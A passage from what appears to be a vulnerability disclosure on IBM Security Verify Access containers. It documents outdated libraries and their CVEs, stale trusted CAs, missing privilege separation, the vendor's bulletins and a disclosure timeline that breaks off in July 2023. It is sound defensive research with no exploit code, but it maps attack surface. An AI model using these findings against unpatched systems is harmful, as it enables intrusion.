FILE=906082662e6b3a50fc01a95f2d1bb29d3a54349ad76da59fc8555fadadae4e5305463810ece2064174129a95e89352a02d8c72c7397de2d01b38220c3222796992785b8d99401a65b0894778a2b05760ae1a6919a97e259d270ff5e6996a14fc29e48a848c59e14f2aa758e8e26355faeff60eca0562ad643a86b8fdaa6afd10190190d411a584679ff1ee93caf5039ef070d411040fc828e4b8f79b8bb67d3ec1708c8274c0c9f6899399492fa52c73574065f2684dcc336c41eee2b808b42b0a01578b32fae245b761580240e3b53359767634ba76018f46a8d732c21ec24bf1a979aa11af20b646f166d5658efabcebdf6283fbdc793d82636e89bf2ac4ad
#
SELF=10fefb48a0666936f23aceae7805a7dcefb06a9a2282fea0693610a98ccf12cab8bfef973cda13450afde785960eccb2637adaf15f5e795cdb21f667704ba30ebf6a6a077f29a3574d0792ef633172d324a5b26adc257d3380ffd1cf7698bc560fb52d5c083ffa85fe623e059f7c8d67a8043ca75d8808c082de29bb8e1c46a01421039e557699cf7747c07a22a0e1612b0e4de8836833bebc888269dc46adf0ed5ba0107da2e683554433ed29ab840d16af34581682e35a30d11ff10fbd8ba0cc7ae6a62b75c3ba4758863e5a5a4cf00371040358a732a56ecf7dd04523c85544755c6f0f42447f383ec22e0ee4d79bb3c6e6defc4319f555afaaa1cfc8642f
#
#Do not edit before this line
#
# Global Settings
ICC_ALLOW_2KEY3DES=1
The OpenSSL code and the zlib code are at least 2 year old and vulnerable to CVEs.
The Docker images contain known vulnerabilities.
Details - Webseald using outdated code with remotely exploitable vulnerabilities
It was observed that the webseald program borrows codes provided by open-source libraries containing outdated and vulnerable code. This program can be found inside these 2 images:
-
- verify-access
-
- verify-access-wrp
Webseald is reachable over the network.
Libraries used by webseald:
kali-docker# ldd ./_verify-access.tar/5b72d1a82f5781ef06f5e70155709ab81a57f364644acfa66c0de53e025d4d6b/opt/pdweb/bin/webseald
linux-vdso.so.1 (0x00007fffe59f3000)
libwsdaemon.so => not found
libamwoauth.so => not found
libamweb.so => not found
libamwebrte.so => not found
libpdsvcutl.so => not found
libtivsec_msg.so => not found
libpdz.so => not found
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f61885e8000)
libtivsec_xslt4c.so.112 => not found
libtivsec_xml4c.so => not found
libtivsec_yamlcpp.so => not found
libam_gssapi_krb5.so => not found
libmodsecurity.so.3 => not found
libamwredismgr.so => not found
libhiredis.so.0.15 => not found
libhiredis_ssl.so.0.15 => not found
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f61885df000)
libstdc++.so.6 => /lib/x86_64-linux-gnu/libstdc++.so.6 (0x00007f6188200000)
libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007f6188504000)
libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007f61884e4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f6187e00000)
/lib64/ld-linux-x86-64.so.2 (0x00007f6188604000)
The IBM-specific libraries (.so) have been analyzed only in surface to detect low-hanging fruits, and several vulnerabilities were found, including some pre-auth vulnerabilities.
Webseal is directly reachable from the network but uses the outdated and vulnerable code.
The quality of the code is extremely inequal between the libraries - some code is very well implemented (with secure calls to -cpy functions) and some code is vulnerable (with insecure calls to -cpy functions). These libraries contain some legacy codes that are not up to date with the current security standards.
Due to the lack of time, only a superficial analysis was done - an attacker with time will likely find 0-day vulnerabilities in these libraries.
Libmodsecurity.so - 1 non-assigned CVE vulnerability
The /opt/pdweb/lib/libmodsecurity.so.3 library (b939c5db3ca94073188ea6eb360049f58f9e9d2a9c7d72bc052d9ee47cc5eccc) contains a vulnerable libinjection library. The version used is 3.9.2:
[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]
This version (3.9.2) is known to have several vulnerabilities. For example, a pre-authentication DoS (https://github.com/SpiderLabs/ModSecurity/issues/1412) from 2017 (no CVE).
This version is confirmed to be vulnerable: https://github.com/client9/libinjection/issues/124.
libtivsec_yamlcpp.so - 4 CVEs
This IBM library is entirely based on yaml-cpp. Yaml-cpp is available at https://github.com/jbeder/yaml-cpp.
Several vulnerabilities have been patched in 2020 (CVE-2017-5950, CVE-2018-20573, CVE-2018-20574 and CVE-2019-6285) in the yaml-cpp library.
This IBM-specific library is located at /usr/lib64/libtivsec_yamlcpp.so and /opt/ibm/Tivoli/SecUtilities/lib/libtivsec_yamlcpp.so (cf1b80c501a2f42948322567477c2956155e244d645e3962985569c4496ffad90).
When doing reverse engineering on this file, it appears no security patches have been imported from the official yaml-cpp repository.
We can identify several methods from the yaml-cpp library. For example, the method SingleDocParser::HandleFlowMap() found in /usr/lib64/libtivsec_yamlcpp.so and /opt/ibm/Tivoli/SecUtilities/lib/libtivsec_yamlcpp.so:
[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]
When analyzing the security patches available at https://github.com/jbeder/yaml-cpp/pull/807 and https://github.com/jbeder/yaml-cpp/pull/807/files/dbd5ac094622ef3b3951e71c31f59e02c930dc4b, there is no reference in the compiled code regarding a DeepRecursion class or any method implemented in the security patches. This DeepRecursion class is included in the now-patched versions.
The IBM-specific library is using an outdated and vulnerable version of yaml-cpp, without security patches, e.g. 4 CVEs patched in yaml-cpp - https://github.com/jbeder/yaml-cpp/pull/807.
Analysis of the security patches implementing new classes:
[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]
[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]
Furthermore, it is possible to analyze the rest of the security patches from the git repository and compare them with the assembly code from the libtivsec_yamlcpp.so library. This allows us to conclude the security patches have not been imported into the libtivsec_yamlcpp.so library.
Source code providing security patches:
Method HandleNode() from the security patches and the patched versions of yaml-cpp:
[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]
With the assembly code extracted from the libtivsec_yamlcpp.so library and rebuilt into pseudo-code, we can identify the same logic and the same instructions (minus some errors due to the reconstruction from assembly to C++) - with the lack of the patch located on the line 51.
Pseudo-code of method HandleNode():
[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]
This allows us to conclude that the libtivsec_yamlcpp.so library is vulnerable to these 4 CVEs.
libtivsec_xml4c.so - outdated Xerces-C library
This library (8b3d3d2dcb1152966d097e91e08fa1dc4300f3653f1c264eeecaf20bb1550832) is located in /usr/lib64/libtivsec_xml4c.so and /opt/ibm/Tivoli/SecUtilities/lib/libtivsec_xml4c.so) and uses outdated code from XML4C 5.5.0 that includes a version of Xerces-C (XML4C doesn't exist anymore and the latest release appears to be from 2007-2008).
[please use the HTML version at https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html]
This version appears to be quite outdated and is likely vulnerable to known CVEs (https://xerces.apache.org/xerces-c/secadv.html).
Details - Outdated and untrusted CAs used in the Docker images
It was observed that the Docker images will trust invalid Certificate Authorities (CA).
Using the Paranoia program, we can list the invalid, expired and revoked CAs that are trusted inside the 4 Docker images.
It appears that these 4 Docker images trust some invalid, revoked or untrusted CAs.
Results for ibmcom/verify-access:10.0.4.0:
kali-docker# paranoia inspect ibmcom/verify-access:10.0.4.0 Certificate CN=VeriSign Class 3 Public Primary Certification Authority - G5,OU=VeriSign Trust Network+OU=(c) 2006 VeriSign\, Inc. - For authorized use only,O=VeriSign\, Inc.,C=US removed from Mozilla trust store, no reason given Certificate CN=DigiCert ECC Secure Server CA,O=DigiCert Inc,C=US expires soon ( expires on 2023-03-08T12:00:00Z, 19 weeks 2 days until expiry) Certificate CN=Test CA,O=genua mbh expired ( expired on 2014-10-23T08:22:40Z, 8 years 3 days since expiry) Certificate CN=Cybertrust Global Root,O=Cybertrust\, Inc expired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry) removed from Mozilla trust store, comments: June 2015: DigiCert acquired this root cert from Verizon. Certificate CN=DST Root CA X3,O=Digital Signature Trust Co. expired ( expired on 2021-09-30T14:01:15Z, 1 year 3 weeks since expiry) removed from Mozilla trust store, no reason given Certificate CN=E-Tugra Certification Authority,OU=E-Tugra Sertifikasyon Merkezi,O=E-Tua EBG Bilim Teknolojileri ve Hizmetleri A.,L=Ankara,C=TR expires soon ( expires on 2023-03-03T12:09:48Z, 18 weeks 4 days until expiry) Certificate CN=GlobalSign,OU=GlobalSign Root CA - R2,O=GlobalSign expired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry) removed from Mozilla trust store, comments: Ownership transferred to GTS: https://bug1325532.bmoattachments.org/attachment.cgi?id=8844281 Certificate CN=Hellenic Academic and Research Institutions RootCA 2011,O=Hellenic Academic and Research Institutions Cert. Authority,C=GR removed from Mozilla trust store, no reason given Certificate CN=Staat der Nederlanden EV Root CA,O=Staat der Nederlanden,C=NL expires soon ( expires on 2022-12-08T11:10:28Z, 6 weeks 3 days until expiry) Certificate CN=Global Chambersign Root,OU=http://www.chambersign.org,O=AC Camerfirma SA CIF A82743287,C=EU removed from Mozilla trust store, comments: Websites trust bit turned off in NSS 3.35, Firefox 59 https://bugzilla.mozilla.org/show_bug.cgi?id=1410277 Certificate CN=GlobalSign,OU=GlobalSign Root CA - R2,O=GlobalSign expired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry) removed from Mozilla trust store, comments: Ownership transferred to GTS: https://bug1325532.bmoattachments.org/attachment.cgi?id=8844281 Certificate CN=Hellenic Academic and Research Institutions RootCA 2011,O=Hellenic Academic and Research Institutions Cert. Authority,C=GR removed from Mozilla trust store, no reason given Certificate CN=Global Chambersign Root,OU=http://www.chambersign.org,O=AC Camerfirma SA CIF A82743287,C=EU removed from Mozilla trust store, comments: Websites trust bit turned off in NSS 3.35, Firefox 59 https://bugzilla.mozilla.org/show_bug.cgi?id=1410277 Certificate CN=Cybertrust Global Root,O=Cybertrust\, Inc expired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry) removed from Mozilla trust store, comments: June 2015: DigiCert acquired this root cert from Verizon. Certificate CN=DST Root CA X3,O=Digital Signature Trust Co. expired ( expired on 2021-09-30T14:01:15Z, 1 year 3 weeks since expiry) removed from Mozilla trust store, no reason given Certificate CN=E-Tugra Certification Authority,OU=E-Tugra Sertifikasyon Merkezi,O=E-Tua EBG Bilim Teknolojileri ve Hizmetleri A.,L=Ankara,C=TR expires soon ( expires on 2023-03-03T12:09:48Z, 18 weeks 4 days until expiry) Certificate CN=DigiNotar PKIoverheid CA Organisatie - G2,O=DigiNotar B.V.,C=NL expired ( expired on 2020-03-23T09:50:05Z, 2 years 30 weeks since expiry) Certificate CN=GlobalSign,OU=GlobalSign Root CA - R2,O=GlobalSign expired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry) removed from Mozilla trust store, comments: Ownership transferred to GTS: https://bug1325532.bmoattachments.org/attachment.cgi?id=8844281 Certificate CN=Hellenic Academic and Research Institutions RootCA 2011,O=Hellenic Academic and Research Institutions Cert. Authority,C=GR removed from Mozilla trust store, no reason given Certificate CN=Staat der Nederlanden EV Root CA,O=Staat der Nederlanden,C=NL expires soon ( expires on 2022-12-08T11:10:28Z, 6 weeks 3 days until expiry) Certificate CN=sks-keyservers.net CA,O=sks-keyservers.net CA,ST=Oslo,C=NO expired ( expired on 2022-10-07T00:33:37Z, 2 weeks 3 days since expiry) Found 395 certificates total, of which 21 had issues
Results for:
-
- ibmcom/verify-access-runtime:10.0.4.0
-
- ibmcom/verify-access-wrp:10.0.4.0
-
- ibmcom/verify-access-dsc:10.0.4.0
kali-docker# paranoia inspect ibmcom/verify-access-runtime:10.0.4.0 Certificate CN=Cybertrust Global Root,O=Cybertrust\, Inc expired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry) removed from Mozilla trust store, comments: June 2015: DigiCert acquired this root cert from Verizon. Certificate CN=DST Root CA X3,O=Digital Signature Trust Co. expired ( expired on 2021-09-30T14:01:15Z, 1 year 3 weeks since expiry) removed from Mozilla trust store, no reason given Certificate CN=E-Tugra Certification Authority,OU=E-Tugra Sertifikasyon Merkezi,O=E-Tua EBG Bilim Teknolojileri ve Hizmetleri A.,L=Ankara,C=TR expires soon ( expires on 2023-03-03T12:09:48Z, 18 weeks 4 days until expiry) Certificate CN=GlobalSign,OU=GlobalSign Root CA - R2,O=GlobalSign expired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry) removed from Mozilla trust store, comments: Ownership transferred to GTS: https://bug1325532.bmoattachments.org/attachment.cgi?id=8844281 Certificate CN=Hellenic Academic and Research Institutions RootCA 2011,O=Hellenic Academic and Research Institutions Cert. Authority,C=GR removed from Mozilla trust store, no reason given Certificate CN=Staat der Nederlanden EV Root CA,O=Staat der Nederlanden,C=NL expires soon ( expires on 2022-12-08T11:10:28Z, 6 weeks 3 days until expiry) Certificate CN=Global Chambersign Root,OU=http://www.chambersign.org,O=AC Camerfirma SA CIF A82743287,C=EU removed from Mozilla trust store, comments: Websites trust bit turned off in NSS 3.35, Firefox 59 https://bugzilla.mozilla.org/show_bug.cgi?id=1410277 Certificate CN=GlobalSign,OU=GlobalSign Root CA - R2,O=GlobalSign expired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry) removed from Mozilla trust store, comments: Ownership transferred to GTS: https://bug1325532.bmoattachments.org/attachment.cgi?id=8844281 Certificate CN=Hellenic Academic and Research Institutions RootCA 2011,O=Hellenic Academic and Research Institutions Cert. Authority,C=GR removed from Mozilla trust store, no reason given Certificate CN=Global Chambersign Root,OU=http://www.chambersign.org,O=AC Camerfirma SA CIF A82743287,C=EU removed from Mozilla trust store, comments: Websites trust bit turned off in NSS 3.35, Firefox 59 https://bugzilla.mozilla.org/show_bug.cgi?id=1410277 Certificate CN=Cybertrust Global Root,O=Cybertrust\, Inc expired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry) removed from Mozilla trust store, comments: June 2015: DigiCert acquired this root cert from Verizon. Certificate CN=DST Root CA X3,O=Digital Signature Trust Co. expired ( expired on 2021-09-30T14:01:15Z, 1 year 3 weeks since expiry) removed from Mozilla trust store, no reason given Certificate CN=E-Tugra Certification Authority,OU=E-Tugra Sertifikasyon Merkezi,O=E-Tua EBG Bilim Teknolojileri ve Hizmetleri A.,L=Ankara,C=TR expires soon ( expires on 2023-03-03T12:09:48Z, 18 weeks 4 days until expiry) Certificate CN=DigiNotar PKIoverheid CA Organisatie - G2,O=DigiNotar B.V.,C=NL expired ( expired on 2020-03-23T09:50:05Z, 2 years 30 weeks since expiry) Certificate CN=GlobalSign,OU=GlobalSign Root CA - R2,O=GlobalSign expired ( expired on 2021-12-15T08:00:00Z, 44 weeks 5 days since expiry) removed from Mozilla trust store, comments: Ownership transferred to GTS: https://bug1325532.bmoattachments.org/attachment.cgi?id=8844281 Certificate CN=Hellenic Academic and Research Institutions RootCA 2011,O=Hellenic Academic and Research Institutions Cert. Authority,C=GR removed from Mozilla trust store, no reason given Certificate CN=Staat der Nederlanden EV Root CA,O=Staat der Nederlanden,C=NL expires soon ( expires on 2022-12-08T11:10:28Z, 6 weeks 3 days until expiry) Certificate CN=sks-keyservers.net CA,O=sks-keyservers.net CA,ST=Oslo,C=NO expired ( expired on 2022-10-07T00:33:37Z, 2 weeks 3 days since expiry) Found 374 certificates total, of which 18 had issues
The communications used in the ISVA platform use SSL/TLS with a trust entirely based on underlying CAs. Some CAs have been revoked and cannot be trusted anymore.
The presence of revoked and expired CAs also shows that the security of the Docker images is highly perfectible.
Details - Lack of privilege separation in Docker instances
It was observed that the Docker images do not implement privilege separation. Privilege separation is a software-based implementation of the principle of least privilege.
Using dynamic analysis, the ibmcom/verify-access-wrp:10.0.4.0 Docker image, ibmcom/verify-access:10.0.4.0 Docker image, and the ibmcom/verify-access-runtime Docker image do not correctly implement privilege separation.
Processes running inside the ibmcom/verify-access:10.0.4.0 Docker image:
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
isam 1 0.0 0.0 12060 2812 ? Ss Oct21 0:00 /bin/sh /sbin/bootstrap.sh
isam 312 0.0 0.0 24532 56 ? Ss Oct21 0:00 /usr/sbin/mesa_crashd
isam 314 0.1 0.0 24568 2056 ? R Oct21 6:20 /usr/sbin/mesa_crashd
isam 318 0.0 0.0 69160 2732 ? Ss Oct21 0:00 /usr/sbin/mesa_syslogd
isam 322 0.0 0.0 69224 2164 ? S Oct21 0:02 /usr/sbin/mesa_syslogd
isam 399 0.0 0.0 102760 2740 ? Ss Oct21 0:00 /usr/sbin/mesa_eventsd -m 1000
isam 400 0.0 0.1 711216 8276 ? Sl Oct21 0:00 /usr/sbin/mesa_eventsd -m 1000
isam 747 0.0 0.0 270992 7452 ? Ssl Oct21 0:06 /usr/sbin/wga_watchdogd slapdw -log_file /var/application.logs.local/verify_access_runtime/user_registry/msg__user_registry.log /usr/sbin/slapd -d 0 -s 0 -h ldap://127.0.0.1:389 ldaps://127.0.0.1:636 -f /etc/openldap/slapd.conf -u ldap -g ldap
isam 756 0.0 0.0 271124 7308 ? Ssl Oct21 0:06 /usr/sbin/wga_watchdogd ISAM-Policy-Server -log_file /var/application.logs.local/verify_access_runtime/policy/msg__pdmgrd.log -cfg /var/PolicyDirector/etc/ivmgrd.conf /opt/PolicyDirector/bin/pdmgrd -foreground
isam 807 0.0 0.0 71488 3084 ? Ss Oct21 0:00 /usr/sbin/iss-lum
isam 808 0.0 0.5 343920 42140 ? Sl Oct21 0:00 /usr/sbin/iss-lum
isam 833 0.0 0.0 128400 5140 ? Ssl Oct21 0:00 /usr/sbin/rsyslogd
isam 873 0.0 0.0 273920 7080 ? Ssl Oct21 0:06 /usr/sbin/wga_watchdogd wga_notifications -log_file /var/log/wga_notifications.log wga_notifications -foreground
isam 879 1.5 0.5 563872 42292 ? Sl Oct21 71:40 wga_notifications -foreground
isam 892 0.0 0.0 12060 1804 ? S Oct21 0:00 /bin/sh /sbin/bootstrap.sh
isam 895 0.0 0.0 23068 1256 ? S Oct21 0:00 /usr/bin/coreutils --coreutils-prog-shebang=tail /usr/bin/tail -F -n+0 /var/application.logs.local/lmi/messages.log
isam 573957 0.0 0.0 47620 3696 pts/0 Rs+ 16:53 0:00 ps -aux
isam 573963 0.0 0.0 11928 2852 ? S 16:53 0:00 sh -c ls /var/support/core_*.* | wc -l
pgresql 434 0.0 0.2 188380 17492 ? Ss Oct21 0:06 /usr/bin/postgres -D /var/postgresql/config/data
pgresql 435 0.0 0.0 138892 2960 ? Ss Oct21 0:00 postgres: logger
pgresql 446 0.0 0.0 188380 2696 ? Ss Oct21 0:00 postgres: checkpointer
pgresql 447 0.0 0.0 188516 4676 ? Ss Oct21 0:03 postgres: background writer
pgresql 448 0.0 0.0 188380 5148 ? Ss Oct21 0:03 postgres: walwriter
pgresql 449 0.0 0.0 189112 5312 ? Ss Oct21 0:04 postgres: autovacuum launcher
pgresql 450 0.0 0.0 139024 3016 ? Ss Oct21 0:15 postgres: stats collector
pgresql 451 0.0 0.0 188916 5492 ? Ss Oct21 0:00 postgres: logical replication launcher
www-data 547 0.3 6.2 4925056 499744 ? SLl Oct21 18:57 /opt/java/jre/bin/java -javaagent:/opt/IBM/wlp/bin/tools/ws-javaagent.jar -Djava.awt.headless=true -Djdk.attach.allowAttachSelf=true -Dcom.sun.jndi.ldap.object.disableEndpointIdentification=true -Djava.security.properties=/opt/IBM/wlp/usr/servers/de
ivmgr 761 0.0 0.5 873712 44896 ? Sl Oct21 0:04 /opt/PolicyDirector/bin/pdmgrd -foreground
ivmgr 863 0.0 0.1 276544 8440 ? Sl Oct21 0:00 /usr/sbin/wga_servertaskd
ldap 752 0.0 10.3 1314228 822572 ? Sl Oct21 0:00 /usr/sbin/slapd -d 0 -s 0 -h ldap://127.0.0.1:389 ldaps://127.0.0.1:636 -f /etc/openldap/slapd.conf -u ldap -g ldap
root 813 0.0 0.0 41984 3528 ? Ss Oct21 0:01 /usr/sbin/crond
root 862 0.0 0.0 174348 2828 ? Ss Oct21 0:00 /usr/sbin/wga_servertaskd
Some processes are running as isam. For example, the rsyslogd processys runs as isam. If a program running as isam is compromised inside an instance, then all the programs running as isam are also compromised.
Processes running inside the ibmcom/verify-access-wrp:10.0.4.0 Docker image:
PID USER TIME COMMAND
1 isam 9:42 /opt/pdweb/bin/webseald -foreground -noenv -config etc/webseald-login-internal.conf
32 isam 0:02 slapd -4 -f /etc/openldap/slapd.conf -h ldap://127.0.0.1:6389 -s 0
The only 2 processes are running as isam.
Processes running inside the ibmcom/verify-access-runtime: 10.0.4.0 Docker image:
PID USER TIME COMMAND
1 isam 1h18 /opt/java/jre/bin/java -javaagent:/opt/ibm/wlp/bin/tools/ws-javaagent.jar -Djava.awt.headless=true -Djdk.attach.allowAttachSelf=true -Dcom.ibm.ws.logging.log.directory=/var/application.logs.local/rtprofile -Xms512m -Xmx2048m -Dcom.sun.security.enableCRLDP=true -Dsun.net.inetaddr.ttl=30 -Dhttps
38 isam 0:00 slapd -4 -f /etc/openldap/slapd.conf -h ldap://127.0.0.1:6389 -s 0
63 isam 0:04 /usr/bin/postgres -D /var/postgresql/config/data
64 isam 0:00 postgres: logger
66 isam 0:00 postgres: checkpointer
67 isam 0:00 postgres: background writer
68 isam 0:00 postgres: walwriter
69 isam 0:01 postgres: autovacuum launcher
70 isam 0:05 postgres: stats collector
71 isam 0:00 postgres: logical replication launcher
37169 isam 0:00 bash
37186 isam 0:00 ps -a
In the ibmcom/verify-access-runtime instance, we can confirm the postgres daemon is running. We can also confirm a complete lack of privilege separation: everything is running as isam.
If a program running as isam is compromised inside an instance, then the all the programs running as isam are also compromised.
Vendor Response
IBM provided several security bulletins:
Security Bulletin: IBM Security Verify Access is vulnerable to multiple Security Vulnerabilities - https://www.ibm.com/support/pages/node/7158790:
-
- CVE-2023-38371: IBM Security Access Manager uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information.
-
- CVE-2024-35137: IBM Security Access Manager Appliance could allow a local user to possibly elevate their privileges due to sensitive configuration information being exposed.
-
- CVE-2024-35139: IBM Security Verify Access could allow a local user to obtain sensitive information from the container due to incorrect default permissions.
-
- CVE-2023-30998: IBM Security Access Manager Container could allow a local user to obtain root access due to improper access controls.
-
- CVE-2023-30997: IBM Security Access Manager Container could allow a local user to obtain root access due to improper access controls.
-
- CVE-2023-38368: IBM Security Access Manager Container could disclose sensitive information to a local user to do improper permission controls.
-
- CVE-2023-38370: IBM Security Access Manager Container, under certain configurations, could allow a user on the network to install malicious packages.
Security Bulletin: Security Vulnerabilities discovered in IBM Security Verify Access - https://www.ibm.com/support/pages/node/7145400:
-
- CVE-2024-25027: IBM Security Verify Access could disclose sensitive snapshot information due to missing encryption.
Security Bulletin: Multiple Security Vulnerabilities were identified in IBM Security Verify Access - https://www.ibm.com/support/pages/node/7106586:
-
- CVE-2023-31003: IBM Security Access Manager Container (IBM Security Verify Access Appliance 10.0.0.0 through 10.0.6.1 and IBM Security Verify Access Docker 10.0.6.1) could allow a local user to obtain root access due to improper access controls.
-
- CVE-2023-31001: IBM Security Access Manager Container (IBM Security Verify Access Appliance 10.0.0.0 through 10.0.6.1 and IBM Security Verify Access Docker 10.0.6.1) temporarily stores sensitive information in files that could be accessed by a local user.
-
- CVE-2023-38267: IBM Security Access Manager Appliance (IBM Security Verify Access Appliance 10.0.0.0 through 10.0.6.1 and IBM Security Verify Access Docker 10.0.6.1) could allow a local user to obtain sensitive configuration information.
-
- CVE-2023-31005: IBM Security Access Manager Container (IBM Security Verify Access Appliance 10.0.0.0 through 10.0.6.1 and IBM Security Verify Access Docker 10.0.0.0 through 10.0.6.1) could allow a local user to escalate their privileges due to an improper security configuration.
-
- CVE-2023-30999: IBM Security Access Manager Container (IBM Security Verify Access Appliance 10.0.0.0 through 10.0.6.1 and IBM Security Verify Access Docker 10.0.0.0 through 10.0.6.1) could allow an attacker to cause a denial of service due to uncontrolled resource consumption.
-
- CVE-2023-43016: IBM Security Access Manager Container (IBM Security Verify Access Appliance 10.0.0.0 through 10.0.6.1 and IBM Security Verify Access Docker 10.0.0.0 through 10.0.6.1) could allow a remote user to log into the server due to a user account with an empty password.
-
- CVE-2023-32327: IBM Security Access Manager Container (IBM Security Verify Access Appliance 10.0.0.0 through 10.0.6.1 and IBM Security Verify Access Docker 10.0.0.0 through 10.0.6.1) is vulnerable to an XML External Entity Injection (XXE) attack when processing XML data. A remote attacker could exploit this vulnerability to expose sensitive information or consume memory resources.
-
- CVE-2023-32329: IBM Security Access Manager Container (IBM Security Verify Access Appliance 10.0.0.0 through 10.0.6.1 and IBM Security Verify Access Docker 10.0.0.0 through 10.0.6.1) could allow a user to download files from an incorrect repository due to improper file validation.
-
- CVE-2023-31004: IBM Security Access Manager Container (IBM Security Verify Access Appliance 10.0.0.0 through 10.0.6.1 and IBM Security Verify Access Docker 10.0.0.0 through 10.0.6.1) could allow a remote attacker to gain access to the underlying system using man in the middle techniques.
-
- CVE-2023-31006: IBM Security Access Manager Container (IBM Security Verify Access Appliance 10.0.0.0 through 10.0.6.1 and IBM Security Verify Access Docker 10.0.0.0 through 10.0.6.1) is vulnerable to a denial of service attacks on the DSC server.
-
- CVE-2023-32328: IBM Security Verify Access 10.0.0.0 through 10.0.6.1 uses insecure protocols in some instances that could allow an attacker on the network to take control of the server.
-
- CVE-2023-32330: IBM Security Verify Access 10.0.0.0 through 10.0.6.1 uses insecure calls that could allow an attacker on the network to take control of the server.
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- CVE-2023-43017: IBM Security Verify Access 10.0.0.0 through 10.0.6.1 could allow a privileged user to install a configuration file that could allow remote access.
-
- CVE-2023-31002: IBM Security Access Manager Container 10.0.0.0 through 10.0.6.1 temporarily stores sensitive information in files that could be accessed by a local user.
-
- CVE-2023-38369: IBM Security Access Manager Container 10.0.0.0 through 10.0.6.1 does not require that docker images should have strong passwords by default, which makes it easier for attackers to compromise user accounts.
Security Bulletin: Multiple Security Vulnerabilities were discovered in IBM Security Verify Access Container (CVE-2024-35140, CVE-2024-35141, CVE-2024-35142) - https://www.ibm.com/support/pages/node/7155356:
-
- CVE-2024-35140: IBM Security Verify Access could allow a local user to escalate their privileges due to improper certificate validation.
-
- CVE-2024-35141: IBM Security Verify Access could allow a local user to escalate their privileges due to execution of unnecessary privileges.
-
- CVE-2024-35142: IBM Security Verify Access could allow a local user to escalate their privileges due to execution of unnecessary privileges.
Report Timeline
- October 2022: Security assessment performed on IBM Security Verify Access.
- Feb 12, 2023: A complete report was sent to IBM.
- Feb 13, 2023: IBM acknowledged the reception of the security assessment and said that scan tools usually report a lot of issues so I have to check the status of detected CVEs by browsing RedHat webpages and create an issue for each CVE.
- Feb 13, 2023: Replied to IBM saying that the security assessment was not done using a scanner.
- Feb 14, 2023: Asked for an update.
- Feb 14, 2023: IBM confirmed that the report was shared with L3 and "IBM hacking team".
- Feb 22, 2023: IBM said they were still assessing the report.
- Mar 13, 2023: An additional report on ibmsecurity was sent to IBM.
- Mar 13, 2023: IBM confirmed that the second report was shared with L3 team.
- Mar 15, 2023: IBM wanted to organize a meeting about the findings.
- Mar 15, 2023: I replied that I would like to have a written feedback for each reported vulnerability in order to have constructive discussion.
- Apr 4, 2023: I asked again IBM to confirm the vulnerabilities
- Apr 5, 2023: IBM shared the analysis (VulnerabilityResponse.xlsx), confirming several vulnerabilities.
- Apr 11, 2023: I provided my comments (VulnerabilityResponse-comments-Pierre.xlsx) and asked to organize a meeting.
- Apr 11, 2023: IBM confirmed a meeting is possible.
- Apr 18, 2023: I asked to organize a meeting on Apr 19, 2023.
- Apr 18, 2023: IBM confirmed a meeting is possible.
- Apr 19, 2023: I asked to have a meeting where every party (dev team, support and myself) can be present.
- Apr 19, 2023: IBM confirmed a meeting would take place on Apr 20, 2023.
- Apr 20, 2023: Meeting with IBM regarding ISVA. IBM confirmed they would recheck some of the issues and would provide CVEs for the vulnerabilities.
- Apr 23, 2023: I asked to have a second meeting about ibmsecurity.
- Apr 23, 2023: IBM confirmed they will organize a meeting on ibmsecurity.
- Apr 24, 2023: I asked the timeline to get security patches.
- Apr 24, 2023: IBM confirmed there are no ETA to get security patches.
- Apr 27, 2023: Meeting with IBM regarding ibmsecurity. IBM confirmed they will fix all the issues.
- May 10, 2023: I asked for CVE identifiers to track the vulnerabilities.
- May 11, 2023: IBM said that PSIRT records have been opened and the scoring is in progress.
- May 15, 2023: I reached IBM because I found a CVE (CVE-2023-25927) and a security bulletin likely corresponding to a vulnerability I reported, thanks to @CVEnew on Twitter: https://www.ibm.com/support/pages/node/6989653. I asked if this was one of the reported vulnerabilities.
- Jul 7, 2023: IBM said the dev team was still working on the final list of issues and that everything would be fixed in the 10.0.7 release.
- Jul 10, 2023: I asked when the 10.0.7 release would be available. I asked again more details about the previous advisory.
- Jul 11, 2023: IBM said that the 10.0.7 release would be published on Dec 23, 2023. Regarding the CVEs, IBM replied they would need to discuss with the dev team.
- Jul 12, 2023: I asked IBM to confirm if CVE-2023-25927 was one of the reported vulnerabilities.
- Jul 12, 2023: IBM said that they do not credit security researchers.
- Jul 13, 2023: I provided several IBM security bulletins where security researchers were credited, e.g. https://www.ibm.com/support/pages/security-bulletin-vulnerabilities-exist-ibm-data-risk-manager-cve-2020-4427-cve-2020-4428-cve-2020-4429-and-cve-2020-4430.
- Jul 14, 2023: IBM confirmed that they would forward the information to L3 team and asked what I would want to do with this case.
